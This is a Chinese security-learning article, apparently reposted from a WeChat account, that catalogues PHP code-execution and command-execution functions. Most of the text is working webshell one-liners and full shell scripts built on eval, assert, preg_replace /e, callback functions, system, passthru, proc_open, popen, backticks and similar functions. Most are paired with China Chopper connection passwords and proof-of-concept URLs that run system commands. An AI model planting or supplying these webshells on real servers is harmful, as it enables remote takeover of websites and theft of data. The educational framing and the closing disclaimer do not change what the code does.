作者 | 漏洞404
编辑 | L
[漏洞404] 学习文章
网络安全需要你我共同努力
如需转载,请联系平台
代码执行函数
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。
eval()函数
<?php @eval($_POST[1]);?>
<?php @eval($_POST['cmd']);?>
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序
:<?php eval($_POST[cmd])?>
#传入的参数必须为PHP代码,既需要以分号结尾。
#命令執行:1=system(whoami);
#菜刀连接密码:1
assert()函数
#命令執行:cmd=system(whoami)
#菜刀连接密码:cmd
<?php @assert($_POST['cmd'])?>
preg_replace()函数
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
?>
搜索subject中匹配pattern的部分, 以replacement进行替换。
preg_replace()函数原本是执行一个正则表达式的搜索和替换,
但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码
<?php
//?cmd=phpinfo() 通过用户可控的传参拿到权限
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
//直接不用传参也可以输出phpinfo
preg_replace("/test/e","phpinfo();","jutest test");
?>
create_function()函数
<?php
#创建匿名函数执行代码
#将传入的参数作为数组的第一个值传递给assert函数
$func =create_function('',$_POST['cmd']);$func();
poc
#菜刀连接密码:cmd
?>
这里是通过 POST传参,因为匿名函数接收POST传参
array_map()函数
<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
//POC
#用回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert 密码cmd
?>
函数将用户自定义函数作用到数组中的每个值上,
并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致
call_user_func()函数
#传入的参数作为assert函数的参数
#菜刀连接密码:cm
call_user_func("assert",$_POST['cmd']);
call_user_func_array()函数
#将传入的参数作为数组的第一个值传递给assert函数
#菜刀连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
array_filter()函数
#用回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert 密码cmd
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
uasort()函数
usort($_GET,'asse'.'rt');
// poc
#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd
命令执行函数
exec()
#可执行,但需要加echo才能显示结果
<?php
$a=$_POST['cmd'];
if(function_exists('exec'))
{
echo "<pre>";
exec($a,$b);
echo "</br>";
print_r($b);
echo "</pre>";
}
?>
passthrn()
<?php
$a=$_POST['cmd'];
if(function_exists('passthru'))
{
echo "<pre>";
passthru($a);
echo "</pre>";
}
?>
proc_open()
#执行一个命令,并且打开用输入输出的文件指针
<?php
$command=$_POST['cmd'];
if(function_exists('proc_open'))
{
$descriptorspec = array(
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
);
$handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
echo "<pre>";
while(!feof($pipes[1]))
{
echo fread($pipes[1], 1024);
}
echo "</pre>";
}
else if(function_exists('fgets') && function_exists('feof'))
{
echo "<pre>";
while(!feof($pipes[1]))
{
echo fgets($pipes[1],1024);
}
echo "<pre>";
}
}
}
else
{
echo 'GG';
}
?>
shell_exec()
#shell_exec函数可执行但需要加echo才能显示结果
<?php
$a=$_POST['cmd'];
if(function_exists('system'))
{
echo "<pre>";
echo shell_exec($a);
echo "</pre>";
}
?>
system()
<?php
$a=$_POST['cmd'];
if(function_exists('system'))
{
echo "<pre>";
system($a);
echo "</pre>";
}
?>
popen()
#返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)
#此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。
#若出错,则返回 false。
<?php
$command=$_POST['cmd'];
if(function_exists('popen'))
{
$handle = popen($command , "r"); // Open the command pipe for reading
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
echo "<pre>";
while(!feof($handle))
{
echo fread($handle, 1024);
}
echo "</pre>";
}
else if(function_exists('fgets') && function_exists('feof'))
{
echo "<pre>";
while(!feof($handle))
{
echo fgets($handle,1024);
}
echo "<pre>";
}
}
pclose($handle);
}
else
{
echo 'GG';
}
?>
``
#【反引号命令执行】
#通过shell 的环境执行命令,并且完整的输出以字符串的方式返回
//可执行并直接显示结果,反引号,波浪键。
//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
//所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。
<?php
$cmd=$_POST['cmd'];
echo "<pre>";
echo `$cmd`;
?>
ob_start
//注意,这个只显示结果的第一行,因此基本只能执行whoami
//ob_start:打开缓冲区,需要system函数开启
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();
echo "</pre>";
原文始发于微信公众号(漏洞404):php代码执行与命令执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论